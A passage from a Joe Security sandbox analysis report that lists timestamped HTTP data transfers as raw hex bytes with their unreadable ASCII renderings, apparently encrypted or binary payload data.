2022-04-25 17:44:44 UTC 113 IN Data Raw: 4f 68 40 6d ba 84 c3 0c 6d d5 35 ad b0 04 25 90 d0 ae a3 3a 26 0b 93 63 c7 7f d7 f9 70 8f 3c 5f 9e 33 97 86 33 47 2b 9a 0d 42 d7 e9 7a da fe 11 a6 83 33 bb 31 3b 04 07 dd ba 58 b3 29 10 36 fc ba bb 6b f1 03 ed 5c 5e 63 7d b0 e9 f5 de 29 d2 ac bc 9d 89 7a ea 32 30 39 98 e3 50 e8 75 a3 5e d9 67 4b d2 ba 80 05 fc 1e ca 51 ec 52 62 b2 4c 18 31 8a 2e 58 85 26 e7 6b 0a cb 8c 5e f4 cd 0c a5 a0 54 49 34 f8 14 fb 3e 42 09 bc a1 bb 5b 1d 1d f8 e6 72 5d 81 40 ef 69 f6 52 dc 07 32 73 aa ea 36 2b af a5 19 49 a1 2b 18 19 2f e0 4f b0 b6 dd fe d3 91 e6 3b ae 83 f8 d0 92 34 ec fb 48 bb 4e dd 57 a4 8d 70 53 64 21 ff af 02 56 4c 86 08 ab dd bb d0 e1 af bf 80 93 12 79 b7 8e b9 9f f1 60 44 b8 1e 26 88 55 de ee 7d 16 0f bf a3 6e 14 41 ed 00 eb d8 b1 3e bd 67 e7 e2 a2 09 74 6e Data Ascii: Oh@mm5%:&cp<_33G+Bz31;X)6k\^c})z209Pu^gKQRbL1.X&k^TI4>B[r]@iR2s6+I+/O;4HNWpSd!VLy`D&U}nA>gtn

2022-04-25 17:44:44 UTC 115 IN Data Raw: 82 26 b3 cb 11 9f 91 3d ad a0 b9 64 e5 c1 47 74 b9 7d 4e 6c d2 27 4c 26 3c 03 50 6b 2b 29 b7 f5 c3 df ce e8 64 50 e5 9b 01 0e 7d 3f bd 5f dd 73 9e 18 18 e2 f0 a4 1b c8 32 0f 31 15 77 7d 5a 9e bd c9 3f ec 45 23 0d eb 38 02 aa 6d ba 8f a8 d9 c3 df 5d b8 90 6e e1 fa 02 af 3d 68 f2 ba a1 fb cf 13 3b 07 76 a2 f1 a1 fe 34 9d 4a 68 cc 9d 09 97 25 1a 37 7a 3a 25 a7 ef 0c 4f 96 2a b1 eb 88 29 8f 78 a7 21 34 cc fd 93 86 0c 0a c5 0e 83 da 41 8b 57 c7 1c 7b 72 cc 57 77 35 1e 3f a7 3a c1 95 09 28 ae d6 44 8e c6 31 02 c8 3e 5c cc 6a 39 b2 1f 5a 61 83 3d 4d 45 61 47 80 a4 d5 e4 8c 7c e2 74 3e 4e fe 89 c3 ec 1e 24 8b 13 bf 9e ff 5c fc dd 9d 35 66 ab b8 50 f9 a4 cb eb 30 72 d5 1b 13 63 6d 06 7b 3c 5f a4 8b 7e 21 35 ce 95 d9 85 e7 f6 e7 0f 6e 4c a5 77 a4 40 6f ad 32 a1 63 Data Ascii: &=dGt}Nl'L&<Pk+)dP}?_s21w}Z?E#8m]n=h;v4Jh%7z:%O*)x!4AW{rWw5?:(D1>\j9Za=MEaG|t>N$\5fP0rcm{<_~!5nLw@o2c

2022-04-25 17:44:44 UTC 116 IN Data Raw: f4 c0 02 4d e7 ac 1d a7 a9 a7 c7 41 fa 3f fb 6e e4 0a c7 f9 6c ec 0a 33 cb e9 66 f6 ce 4c fe 60 cd 40 e2 92 dc bc 57 fb 18 3c 79 b6 1c 59 a7 2b 1f 2c 62 01 b0 48 99 2a fe ff 93 fc 4b 90 85 ee 2a 90 9c 7f f7 03 41 49 c5 a9 a7 a2 01 d3 64 0a 16 b4 13 78 e3 84 0c 8b d7 09 d1 9c f8 96 31 95 38 73 af e1 6c ae f6 66 ad 11 1c 26 86 2a 72 fd 7f 34 30 0d a1 64 6d d7 58 02 e1 d8 a0 42 14 74 e8 fb cc 47 65 45 ae 3d b8 1e 8c f9 35 4f c8 c1 68 62 49 f1 5b 35 5b ab 48 99 3d 92 5c 09 ad 52 92 9e 11 fc 06 74 b3 72 cd 93 37 d4 7e c4 f8 56 77 15 55 59 b0 03 63 96 a7 4d 8a 9c b8 5a d2 20 e6 97 7e 73 f8 9c 54 9f 9e 77 62 0e 0f 6f 8c 27 83 b0 9c 3c 51 73 86 aa 2f 3f 02 72 c6 db ac 72 56 50 98 05 c1 c9 aa 5f aa db e7 ec 46 1c 59 90 a4 dc 9a 4a f9 e6 8d ad 9e 04 f4 f7 35 7a 36 Data Ascii: MA?nl3fL`@W<yY+,bH*K*AIdx18slf&*r40dmXBtGeE=5OhbI[5[H=\Rtr7~VwUYcMZ ~sTwbo'<Qs/?rrVP_FYJ5z6

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 37 of 50

2022-04-25 17:44:44 UTC 117 IN Data Raw: dc 07 97 2a b5 74 3a 02 52 6d a1 3c 3d df fe 90 6b 08 26 d0 1f b5 3e 4b a7 58 c0 e6 73 cf c2 5d 6f 30 19 35 5c 26 13 96 0e 3f 82 5d 42 f6 85 36 0a 40 12 d3 96 6b 56 47 65 12 6a a5 27 5a da 4b 56 85 ba 38 d5 a3 74 03 63 e8 43 e1 81 d0 f8 08 26 8a 31 93 9f d3 59 ea c1 82 3c 9d aa 85 50 ca 65 d1 d4 3d 01 a5 1f 08 97 67 33 76 3b 24 f1 8f 65 db 3c 78 ff f7 88 fb ef e6 60 7a 48 ba 74 35 f8 41 a6 31 a6 54 4e 8a 27 d4 d7 b2 b2 d5 da e7 2f 2a 8d 84 ad 32 09 78 fd fc b1 84 06 6c d2 a2 e6 c0 6b a5 f9 0b 0e 4d 3d 25 f0 fa a3 7c 3e d3 99 9f c6 23 76 c7 2a d5 18 f9 a1 0b 46 0c a3 04 78 e3 90 48 d2 cb 31 3f ca c8 6a 19 d6 6a 73 59 80 8f 1a a1 a5 a5 af cc a8 24 ec 90 90 29 d5 28 06 40 f5 c5 37 d6 54 08 df 5d e2 84 f6 4e 84 c9 2e da dd eb b7 bd 9d 0a 90 da b5 aa 3f 21 ac Data Ascii: *t:Rm<=k&>KXs]o05\&?]B6@kVGej'ZKV8tcC&1Y<Pe=g3v;$e<x`zHt5A1TN'/*2xlkM=%|>#v*FxH1?jjsY$)(@7T]N.?!

2022-04-25 17:44:44 UTC 119 IN Data Raw: 53 eb d2 a3 93 ba 54 fc e5 a5 32 fc 45 aa 34 84 f6 44 fa 3f 3a 51 4d 6f 68 5a f4 5e 05 4c 99 5a e0 70 c1 5c 03 c3 8e 82 bd 0f 5f 01 59 00 53 cb 88 27 93 77 c5 f8 5a 0e 5b 50 59 ba 13 71 52 9c 65 12 9d 90 44 fa 31 ec bf 89 60 f4 9f 96 a4 52 65 64 19 1d d0 52 f9 8f a0 8b 33 47 41 94 d3 fe 6e 02 78 1b 7b bb 3e 86 46 8c 27 4f d3 bc 3a 61 f2 2d e9 6e dd 4f 1d a9 f4 d3 49 ea c2 b4 75 89 13 7e c9 7f 7a 37 1c 9b 56 8f e4 a4 aa 42 e2 52 db d0 87 8d 04 b3 40 b6 a3 7a 6f 7a c6 79 e4 df 43 cf d9 72 03 15 de d8 9b 54 68 c8 81 9a 67 7d 52 64 04 5e 70 15 0d 3c ea 36 81 af 47 a0 c3 68 d7 f2 79 bc 12 5e 0e 00 0b 48 da 2b dd 4b 21 7d 98 0e ab 93 b9 e8 9f d4 13 5c 6d 6e fb c4 b0 39 01 d8 b8 cf 4f 16 63 b0 04 b2 07 92 dd 2a 92 b9 2c ab a0 b3 d7 e2 e9 7b 11 e7 7b 59 96 71 1a Data Ascii: ST2E4D?:QMohZ^LZp\_YS'wZ[PYqReD1`RedR3GAnx{>F'O:a-nOIu~z7VBR@zozyCrThg}Rd^p<6Ghy^H+K!}\mn9Oc*,{{Yq

2022-04-25 17:44:44 UTC 120 IN Data Raw: f7 74 43 d5 a5 7d c1 d1 99 a9 38 b1 46 e8 f3 17 44 c2 90 6e d2 da fc 02 f1 73 85 8b 1d 0c 7a e4 e8 88 38 14 92 d5 98 68 d0 78 a0 f8 0e 1f 46 1f 43 f1 d6 ab 7f 9c eb c9 6a 2a c6 60 b4 5d fd e6 f1 8b 0d 4b b1 a1 04 47 e2 84 5c c1 e2a9 2e c8 4c f5 e8 5c dd a3 58 72 eb ce 2c 80 89 e3 dc bf 32 c3 2b 1a 9e fb f1 8a 47 ff c6 20 c5 42 92 40 c6 6c 33 d4 ac ac 15 26 dd d1 2d 2a 9f b5 27 91 c9 9c b7 08 3d ac 83 61 c7 7b 0e ad 52 98 10 12 f0 e9 91 24 28 c6 14 da 1b 11 0c e8 7a d4 df a7 a0 55 b6 c9 d2 3a 06 7a 86 a0 4a 92 10 cd 36 fb c3 2a 8f 0f f6 03 8a 23 df 5a 4e f5 f3 6e 2b c9 c9 f0 99 fa c3 34 41 2d 10 28 e7 43 f1 4c 01 4d c3 45 13 d5 ab 8b a2 5f 1f ca 55 f8 5d 63 b2 42 87 bd 45 2f 5e ec 16 5e 69 0c d2 38 5e e6 c8 00 a1 b1 5f d0 02 0c 15 f9 4f 68 15 bd a5 6b fa Data Ascii: tC}8FDnsz8hxFCj*`]KG\.L\Xr,2+G B@l3&-*'=a{R$(zU:zJ6*#ZNn+4A-(CLME_U]cBE/^^i8^_Ohk

2022-04-25 17:44:44 UTC 121 IN Data Raw: bc bc f8 e0 af 38 80 05 f2 9e 6c 6b 29 a2 99 63 9b e1 a7 9d d6 1c 53 fd c2 84 c2 18 be 55 b7 2e 6c 78 65 e0 93 f1 e7 61 46 d3 6b df 2e c5 c7 b3 4d 6c c3 81 88 50 c6 ac 65 22 71 83 38 e7 25 9c 77 96 af 5c a6 d0 13 25 f3 55 a8 12 52 6b 04 64 a1 c1 03 3f 59 28 64 9b 10 a8 43 2a ff 80 de c5 49 41 7e e0 e9 cd d1 00 de a7 78 a1 e8 9c 4e 08 9d 05 a6 cb 2a 88 8e 24 55 a1 95 61 e2 cc 7d 6b 91 94 58 92 d9 64 56 3f 37 05 44 6f ca 32 88 e0 d4 c5 d9 f0 5d 50 e5 9b 08 56 44 15 5e 5b b5 20 80 3a 0f 7b 47 9f 0c d7 3e c1 33 39 21 6c 57 f1 a8 c8 3f fb 45 47 d2 b1 38 0f d2 8e ba a3 ac d9 a7 2b 5b a0 64 00 d2 f6 01 ab 55 25 ec 9a b6 62 78 30 25 01 77 5c f7 97 1a 24 b4 78 99 ca e6 4c be 06 1e 34 ff 48 1e a7 ed 7d 3e 27 d4 4a 9a 20 10 bf 7b 8d 2b 28 d3 e4 74 79 21 08 d0 17 c6 Data Ascii: 8lk)cSU.lxeaFk.MlPe"q8%w\%URkd?Y(dC*IA~xN*$Ua}kXdV?7Do2]PVD^[ :{G>39!lW?EG8+[dU%bx0%w\$xL4H}>'J {+(ty!

2022-04-25 17:44:44 UTC 122 IN Data Raw: d7 35 a7 98 28 27 90 da d2 a7 2b 2b 8e c8 63 c7 72 ac bc 71 92 38 e8 f0 df 95 f8 28 e4 00 c4 18 11 47 ea 7a d4 dd 00 a0 46 8c e3 31 09 06 7c 95 be 58 b7 29 0b 3f d0 d2 10 6e e6 f7 fd 78 2f d5 74 b0 e4 cb 90 2a fe a4 ba 92 fa ce f0 cc 3b 3d 2a ca 52 c9 be 10 27 0d 6f 5a dd d5 9c 8b a5 14 e2 47 96 17 69 98 48 af 4d 74 2d 58 b3 0e 5f 69 0f c1 2e 5e e6 ac 36 bb b1 5e d1 93 f9 38 fb 5d 0c 08 bb b3 93 ed 22 1b fe e0 65 8c 8a b3 ff 48 e5 6b e0 b9 2c 8e 2e 2f 32 3c 73 9e eb 59 a7 3c 1f d9 48 30 ae 4d a6 03 fd d3 9b ce 5b a0 84 f8 6a 91 b0 7d ef 09 41 5f a3 65 a6 8e 09 f2 65 52 c5 b7 68 2f e9 bc 9c a1 f5 0b d5 8e 7d 95 31 9b 1e 7b 87 94 75 9e f7 09 21 11 1c 2c ae 1f 7a c4 0b 1e 27 0b ce 9e 1e 69 50 2e cc da b5 39 c4 71 e9 f1 bb 02 be 2a a2 3f 90 d4 84 fb 39 53 9f Data Ascii: 5('++crq8(GzF1|X)?nx/t*;=*R'oZGiHMt-X_i.^6^8]"eHk,./2<sY<H0M[j}A_eeRh/}1{u!,z'iP.9q*?9S

2022-04-25 17:44:44 UTC 124 IN Data Raw: 88 40 74 f3 cc 46 01 c7 1b 58 92 d7 14 59 a4 12 2e 58 5b ca 3f bb a9 d6 d4 ce f0 59 86 1d b6 03 23 55 7a 20 3c a7 30 9b 07 04 f6 62 a3 14 ee 3e 27 12 96 00 7d 5a 81 93 e1 c6 fc 53 2e 0c de 46 64 bc 93 bf bc b3 5b ed f2 55 86 71 76 ed 5e 03 ad 46 34 d4 92 5c 74 78 27 18 70 03 c3 f7 bb 04 2a ab ca 49 e3 e9 6c 89 3f 3e e4 f7 60 25 b8 c8 5f fe 96 2a b3 4f 51 65 cd 6d 8d 3e 20 d7 60 af 55 02 00 de 01 89 35 48 8b 50 ce c6 52 a7 cf 40 7a 1f 77 5a 38 3a ed 93 3d 36 1f 50 6b fa a3 2f 1e ec 24 d0 96 6a 26 91 4c eb 61 83 3f 63 b1 35 26 81 a4 c2 cb 92 e6 2f 59 31 68 e1 95 e3 c7 0b 37 8f 34 4c b6 06 5d fc ca b3 41 e6 cb 95 55 d6 84 ce 62 11 5f cb 39 17 83 4c 71 66 3e 24 ff ab 56 dc 3c 54 fc f6 ea 99 9d e2 60 6f 52 ba e7 ee d4 62 8b 27 a8 70 bc 3e 15 44 d7 99 89 29 db Data Ascii: @tFXY.X[?Y#Uz <0b>'}ZS.Fd[Uqv^F4\tx'p*Il?>`%_*OQem> `U5HPR@zwZ8:=6Pk/$j&La?c5&/Y1h74L]AUb_9Lqf>$V<T`oRb'p>D)

2022-04-25 17:44:44 UTC 125 IN Data Raw: a0 c7 6d fe 3e 93 3b 66 09 bc a1 72 aa 94 3c c4 e5 43 94 d4 6d ed 62 e7 40 fa ba 36 8d 55 fd 1a 56 07 d7 1e 58 a3 25 4e bd 6c 37 be 69 91 93 df c6 97 e4 40 8d aa 01 d5 91 b6 57 8e 76 20 4f dd 53 b9 c6 99 dd 4b 2e d3 a9 20 05 fe 82 08 a1 ea 1a fa 18 a4 97 37 bb 78 0d ce e0 77 9a ee 2f ad 36 31 28 a4 34 3b cc 50 1a 27 0d bc 46 e7 68 5a 04 c1 b8 dc 50 aa 76 ec ee fb 80 41 68 a4 18 8f 94 ae cd 39 3c 46 d7 40 91 5b f5 4b 0c 37 c4 2d f7 fc 94 43 48 58 09 be 90 3d 54 5e 51 ad 55 cb 82 2e 93 45 c7 f8 5a 32 bc 29 38 bb 12 61 59 c4 d7 af b0 9e 68 cd 6c cc 83 85 73 f8 8c aa 75 99 66 62 35 60 23 34 f8 8f a5 87 5d cc 47 af cb 54 20 4f 58 5a df aa 1d 88 7a 61 0e d7 d5 96 5a 0b bb e6 ea 6a c4 16 0a 8b d9 dd 6e e6 ae 85 13 99 04 f2 82 57 83 37 be 8c 5e f1 8e d1 83 da e6 Data Ascii: m>;fr<Cmb@6UVX%Nl7i@Wv OSK. 7xw/61(4;P'FhZPvAh9<F@[K7-CHX=T^QU.EZ2)8aYhlsufb5`#4]GT OXZzaZjnW7^

2022-04-25 17:44:44 UTC 126 IN Data Raw: 73 f8 1a 24 c4 fa 8a 61 25 df c0 1a af ea 20 f5 31 d0 e2 7e 41 b8 da 59 18 17 02 46 4d cd 89 2a 2a 85 6e 6e 0c 84 30 04 e6 57 ad f7 6b 39 b4 7b 65 fa a6 14 47 f9 54 30 a0 87 ce d4 8f 60 22 8d 3f 4e f8 a2 a9 83 69 36 8f 2f 72 e6 65 79 d1 c2 bf 30 e0 8a bd 5d d2 9b cd d0 cd 73 c4 19 22 f7 12 4b 64 3e 20 ff f3 e4 00 10 5a dc c3 fd c7 cc eb 60 6b 54 8d 84 ca f9 6b 87 56 c9 31 c1 3d 11 5b b2 22 84 fd d5 d0 35 47 53 b6 89 31 11 74 f1 d4 59 80 10 94 f9 e4 9b b6 79 a0 fd 05 70 c8 12 f6 ff f0 be 2c 1b d7 c1 60 39 cb 59 51 48 d5 1e d9 e1 75 3c 3d a6 00 58 9f 0a 6d f8 c4 17 31 b4 66 e0 12 58 dd b2 66 a3 99 cc 2a a0 cf d1 ac a2 26 ef 8d 63 04 d8 ca 09 66 e0 bb 01 ef 5e 86 68 49 44 ca df b8 82 e3 4e a3 b6 34 a7 9c aa 59 0a ff 92 a8 0d 34 fa ea 5c cf 7d ac a6 59 76 39 Data Ascii: s$a% 1~AYFM**nn0Wk9{eGT0`"?Ni6/rey0]s"Kd> Z`kTkV1=["5GS1tYyp,`9YQHu<=Xm1fXf*&cf^hIDN4Y4\}Yv9

2022-04-25 17:44:44 UTC 127 IN Data Raw: 9c 0b 42 65 34 3e 90 de ae b5 36 3c 46 db 40 91 5b f5 4b 0c df c4 2d f7 fc 94 7c 9c c2 2c 93 04 3e 66 04 57 b8 cc cb 82 33 9b ed cf f8 5c 01 fe ae 58 ba 14 4f c4 f6 2c 8b 9d 94 6e 72 20 ec bf 19 56 d5 87 a4 ac 38 66 64 1f 2a 09 5c f9 8f bc b0 e9 57 62 84 ef f0 41 63 79 1a dd 8a bc 92 52 98 95 f2 fe ad 16 55 7b e7 ea 6e fb 03 99 ae f4 ce 60 00 e1 a5 51 b5 82 8c f9 7e 7a 32 9e 28 74 9b f0 2a a7 f7 f0 74 f1 66 af 46 07 93 24 a9 2e 7d 70 77 ef 94 f1 cb 6d 7d 5b 0c 68 3c cf dc bb fd 7b c3 90 05 6a f3 43 42 2e d5 8a 14 0d 1a ea 6d 81 af 53 99 36 1d db f4 53 21 7d 34 7b 0c 0f 68 65 03 35 4a bb 5e a6 11 99 63 9f e8 9f d5 1b 3f 64 6e f1 f3 fe 13 f8 df a1 44 62 94 1d d0 16 91 12 91 6e 3b 9f 91 a7 8e 8d a8 53 d3 6f 6c 6f b9 5a cb 9b d3 0b 59 16 ce 02 57 7b ff aa e5 Data Ascii: Be4>6<F@[K-|,>fW3\XO,nr V8fd*\WbAcyRU{n`Q~z2(t*tfF$.}pwm}[h<{jCB.mS6S!}4{he5J^c?dnDbn;SoloZYW{

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 38 of 50

2022-04-25 17:44:44 UTC 129 IN Data Raw: 8d fd b7 50 c0 a7 30 69 d9 9e 81 15 da f6 2a 1d fc 8e 81 31 09 43 01 fd a0 87 3a 10 ad ef e4 d7 7c 80 3f 1a 0b 52 ad fe dc c7 87 77 fd eb c9 60 19 4d 7a a8 49 cc 30 0a 8a 0b 5b 16 20 7a 26 e2 90 4c f5 0d 31 2e c8 dc f8 37 4a fb 85 89 5a 98 cc 0c 1e ae af cd bc 3e c3 6b 1f 9e fb cd 81 3e 9e c7 21 d5 76 4e 68 5e 6c a9 fb 95 96 ef 04 15 d7 35 a7 b8 19 2c 90 da a0 ab 03 d2 85 ca 65 ed ff d2 dd 70 8f 3c c8 38 e9 97 86 a3 c0 2d df 29 19 5d e8 7a de d7 b9 ab 55 bc f8 19 c2 07 7c 93 91 da c9 59 1c 34 ff e9 da 69 f1 09 66 71 00 dc 59 90 29 dd 6e 2b f2 1a a6 99 fa d0 c0 cb 3b 11 2e cb d6 9c 3c 13 5c dd 4d 91 d7 ab 8d 10 80 33 d8 75 b7 dc 63 b2 48 8f e1 4f 2f 58 9c 07 77 90 0b c1 28 65 72 d9 7c a1 b1 5d e6 a1 f8 14 f9 df 22 25 ad 83 4d 20 0e 19 e9 cb ad 80 92 4d e0 Data Ascii: P0i*1C:|?Rw`MzI0[ z&L1.7JZ>k>!vNh^l5,ep<8-)]zU|Y4ifqY)n+;.<\M3ucHO/Xw(er|]"%M M

2022-04-25 17:44:44 UTC 130 IN Data Raw: 1a 01 1b 37 be 8e 54 77 f0 b0 82 40 c7 7f c0 e2 8f aa 07 b3 46 80 8c 73 6f 7a de 45 09 ca 6b 51 f3 f0 77 5c ce d8 9f 7e 96 c3 90 9f d5 fb 7f 75 28 56 67 14 0d 3a a5 c1 8f af 4d a9 e7 e5 da f2 7f 8d 81 2b 1b 0d 0b 4c e1 ed 35 4a 21 e1 ae 2e ae 65 1b 06 9f d5 3b 68 ca 60 f1 ec fe 13 f8 df a1 44 62 94 1d d0 16 91 12 91 24 3b 9f 91 a7 8e 8d a8 53 d3 25 6c 6f b9 5a f5 9c d3 0b 54 16 ce 02 57 7b ff ae e5 96 d5 d4 ca cf 8c ae e4 b7 99 00 52 06 78 7d 56 30 9f 18 3c dc 49 8e 1b d7 3c 17 cb 14 02 7b 70 1c cb a8 3e fd 57 08 d7 b0 38 05 27 b6 96 b2 8c e1 39 df 5a a0 4e a2 c3 f7 01 b7 6e d2 f2 ba a3 5f fa 5f 53 1f 7d a6 d6 49 00 35 b1 ca 49 e3 f7 6c b6 d7 1e 34 f5 40 f4 a9 ed 77 1e bf d3 b4 65 39 31 2e 12 ec 3b 3f c8 da 79 78 0d 26 5b 3f 84 d1 6c ab a3 d1 e2 7a 7e 1a Data Ascii: 7Tw@FsozEkQw\~u(Vg:M+L5J!.e;h`Db$;S%loZTW{Rx}V0<I<{p>W8'9ZNn__S}I5Il4@we91.;?yx&[?lz~

2022-04-25 17:44:44 UTC 131 IN Data Raw: a2 0b 38 85 ca 63 5d 58 81 ae 57 af 2b e9 f1 e9 b7 75 36 e5 00 d1 02 11 6d e9 7a d8 dd 86 de 34 bd e1 35 1b 12 7d 95 bb c2 92 15 0f 12 db dd 11 69 f1 29 fc 44 2d cd 60 a7 cb 24 6f 2b d4 8c 2f e7 9b c8 e8 36 1a 04 29 e1 50 78 78 3f 4d ff 4d 4f d6 ab 8d aa b2 0e ca 53 8b 3f 9a b3 48 a9 74 c2 51 39 82 0e 5b 49 1c c0 2e 4f 6a 82 30 b2 97 79 d0 6c f8 14 d9 58 17 08 bc ba 75 c4 f7 18 e9 ed 4f 0d ec 2c ff 64 e3 60 f5 93 cf 8c cf de 1d 2e 5f 96 08 59 a7 3a 29 12 59 1a b0 50 85 fc 06 d2 91 e2 6a 16 fc 99 d5 91 b4 5d f8 09 41 4e 47 72 8b 9c 25 d8 7e 20 f5 b6 48 65 f2 84 08 be ee 23 2b e0 a5 91 1b 13 6c 12 ae e1 73 be e8 67 37 13 86 03 af 3a 54 cc 64 1d 27 0d 81 35 0e 69 5a 1e c3 2b a3 31 ad 5c 6e 8f d0 1b 64 41 8a 24 91 de 8e 63 1a 11 54 e6 48 72 5b f5 4d 06 3c aa Data Ascii: 8c]XW+u6mz45}i)D-`$o+/6)Pxx?MMOS?HtQ9[I.Oj0ylXuO,d`._Y:)YPj]ANGr%~ He#+lsg7:Td'5iZ+1\ndA$cTHr[M<

2022-04-25 17:44:44 UTC 133 IN Data Raw: 45 ba 2a 0a 4e 38 1d 85 29 1c d4 28 9f d7 ee d5 ce ef e6 8b c9 a5 25 05 45 15 5e 5d 86 be 8d 18 1c 73 50 a6 e2 c9 21 39 18 93 7c 1c 5b 9e b1 e9 04 fc 53 28 bc 95 15 17 9b b3 80 a2 aa c1 e8 7a 48 a0 6e 70 c3 df f8 ac 46 2d d9 3c db 14 79 21 36 3e 41 a3 f6 bb 9a 10 9c 42 4a ee da 4b 96 25 3e 87 e7 60 25 b8 fd 5f fe 96 2a b3 4f bd 65 cd 6d 8d 3e 1f f1 fb 8a 78 97 03 ec 0b 8f e0 77 8a 50 d1 c2 b9 4c ce 40 62 1d e0 25 59 3d c7 11 5c 4b 84 75 42 d5 bb 31 02 cc a7 f6 bb 78 1f 90 5a 13 60 83 19 82 cd 4b 47 9f b6 ee 2d 8e 7c 0c 5e b8 30 9f 89 c3 f9 28 08 8e 2b 6d 04 da 71 ee ea b9 10 99 aa 94 75 0f 89 d0 f8 2b 78 ec e6 09 9d 6a 00 e3 40 45 e1 8a 7a 05 7d 55 fa dc 1e c2 d1 f1 46 4b 0d a4 7d cb d9 8a bf 38 b7 4f db 15 ec 45 c8 be 8b 56 a4 97 2b 3d 77 a5 c0 30 11 6b Data Ascii: E*N8)(%E^]sP!9|[S(zHnpF-<y!6>ABJK%>`%_*Oem>xwPL@b%Y=\KuB1xZ`KG-|^0(+mqu+xj@Ez}UFK}8OEV+=w0k

2022-04-25 17:44:44 UTC 134 IN Data Raw: dc a4 6d ec 2e 99 fd eb 65 94 98 65 07 65 e7 46 c8 14 b1 ed 54 fb 34 1c 18 b7 1f 58 3d 1f 24 35 6f 3a d1 4e 8e d4 df 59 85 e4 40 8f 8b d0 2d 90 b0 7b ca 8e 3f 2f dc 57 a2 ae 61 f9 66 21 6f 93 45 37 c4 a4 6a a0 f5 0b f2 72 b1 97 31 8e 32 5b 56 e0 77 98 db e4 49 72 1d 26 86 0b 11 ed 7d 1c bd 28 8c 7f 38 49 39 03 eb d2 82 82 bf 76 e8 ef 99 e3 65 45 ac 14 16 a0 ef f8 3f 38 66 a4 69 68 5a 6f 68 0b 4f 9c 6c 92 fd 90 5c 23 79 38 93 9e 04 5c 3d 88 99 53 cd a8 b5 c5 dd c7 f8 58 38 b3 56 59 ba 88 40 6b 9a 6b aa f8 91 4e d2 00 3e ab 83 73 e7 80 aa 75 99 66 62 35 8c 23 34 f8 8f a5 b8 76 57 62 82 5f 57 12 10 5e 3a bf ab 1d 92 72 70 1b d7 d3 a3 3c 5d 23 e6 ea 68 f1 de ee cf f5 d3 4c d9 87 a4 57 9f 9e d7 b5 6d 5c 16 d9 8b 74 9b d0 44 96 da e2 4d d8 ec 56 47 07 b5 6c 22 Data Ascii: m.eeeFT4X=$5o:NY@-{?/Waf!oE7jr12[VwIr&}(8I9veE?8fihZohOl\#y8\=SX8VY@kkN>sufb5#4vWb_W^:rp<]#hLWm\tDMVGl"

2022-04-25 17:44:44 UTC 135 IN Data Raw: 06 46 1b a9 c0 d0 ae 7d c3 c4 5a d9 cf 40 7c 15 c0 32 59 3b f2 b3 0a d3 84 75 40 df 03 4e 63 cd 3d d7 b6 e2 38 b0 64 88 45 ae 2b 6f ff c3 46 80 a4 e6 29 99 7c 0a 6b 31 66 07 89 c3 fb 22 b1 f1 4a 6c 9e fb 7c 75 cd 99 2f 02 8f b9 47 f4 bb 59 f9 34 72 e4 13 1f 9d 6c 35 41 16 dd e1 8a 78 0f bb 2a 9b dd 84 e3 dc 69 61 6b 4d 3f 58 e6 eb 4b 8d b2 b6 50 c0 1d 25 53 c8 b8 be c3 f2 0f 2b 3d 75 af 07 4f 70 6a f8 f8 80 0a 11 92 d3 14 c0 fa 6a 86 d9 91 0a 52 37 fb b2 c1 a1 57 24 cf e1 99 38 dc 77 82 cf ab 79 f2 8b 0f 7d b0 a7 04 47 79 b5 65 c7 ec 11 a2 c9 46 dd 3a 3f ca a5 4e 45 bd e4 d5 8b a5 a9 e7 25 58 8a 93 1e 9a dd 6a 06 40 ff 5c 04 fc 44 a0 48 d3 6d 33 de 98 08 de 24 dd c8 11 8f 61 b4 27 96 f0 39 d8 4a 2a 84 ce 43 49 7c ac bc eb aa 15 fa d7 c9 19 87 39 e5 20 7e Data Ascii: F}Z@|2Y;u@Nc=8dE+oF)|k1f"Jl|u/GY4rl5Ax*iakM?XKP%S+=uOpjjR7W$8wy}GyeF:?NE%Xj@\DHm3$a'9J*CI|9 ~

2022-04-25 17:44:44 UTC 136 IN Data Raw: d1 c6 3d 46 c6 42 ee 24 94 4c 26 59 9a e2 f7 fc 90 c6 26 ef 3e b5 be b5 4a 15 71 b8 b7 d2 82 33 a4 b1 ee 01 5d 18 d0 7d df c4 73 64 46 8c 6d 25 9c 90 4e 48 05 c1 ad a5 53 57 97 82 8c b8 97 7d 1f 0a 42 59 d1 76 a0 98 16 7c e4 fc a4 73 3f 06 58 aa d8 aa 1d 08 77 b5 1d f1 f3 0c 31 75 da c7 17 77 db 58 8f a4 dc 2a 49 f9 e6 8f d1 e1 65 f3 98 7b 5a 87 bf 8a 74 01 d5 9d 90 fc c2 e3 d0 c4 af 66 00 a9 46 a0 31 76 47 83 c6 6d f6 e1 ed 29 b8 73 09 39 ef 6a 9a 5e 7b 59 b5 b2 5d f8 72 d6 0f 76 8a 34 1f 20 85 64 9e 99 65 48 ce 1c dd d8 fb d9 62 54 7a 08 2b fb c0 03 35 d0 04 56 9a 25 9f f0 3a e8 9f f5 73 52 6d 6e ec c4 1c 3a 01 d8 8b c0 36 77 62 b1 13 b1 a2 b0 cb 3b 05 b4 10 ba 86 99 c1 f2 ca 6c 4f f6 60 59 92 cd 23 b7 3f 37 05 7d fb ab 49 9a f7 d0 f4 7b ee 7c ae 7e 92 Data Ascii: =FB$L&Y&>Jq3]}sdFm%NHSW}BYv|s?Xw1uwX*Ie{ZtfF1vGm)s9j^{Y]rv4 deHbTz+5V%:sRmn:6wb;lO`Y#?7}I{|~

2022-04-25 17:44:44 UTC 138 IN Data Raw: b9 a1 d0 fa ff 36 3d 73 9a 8e 19 e8 6a f8 fa 8a 03 6e f3 d2 8e e1 f7 ad a1 f9 1a 91 77 1a ca d7 f6 74 56 3b eb e9 78 25 dc 71 b0 61 2c 19 f3 8d 21 db 42 c7 05 47 e7 b0 9e d4 ca 31 b4 ed 6b cf 3c 78 0b a4 4e 5a b8 d6 30 8a a5 b0 d1 8b df ea 92 18 b4 7b 99 66 41 ff c2 01 06 57 86 68 c4 49 1e cc 9e a4 1e 25 dd d7 15 91 84 b5 27 8f d3 97 5f 2a 2b 82 e0 e1 b9 1c ad bc 75 af e0 e9 f1 e9 0d a3 14 f4 26 ee d7 38 94 e8 5a e1 eb 00 a0 42 94 18 30 3b 00 56 13 c5 39 b6 38 19 14 22 c8 10 69 6b 2c d1 46 0b ed a6 b1 e3 dd 4e 6b ce a6 ad 86 f3 e1 11 33 3a 17 02 63 2e 83 5c 12 58 f9 b7 5b d7 ab 17 af 88 0f ec 73 4d 16 63 b2 68 e6 42 44 2f 40 ab f7 5e 69 0c 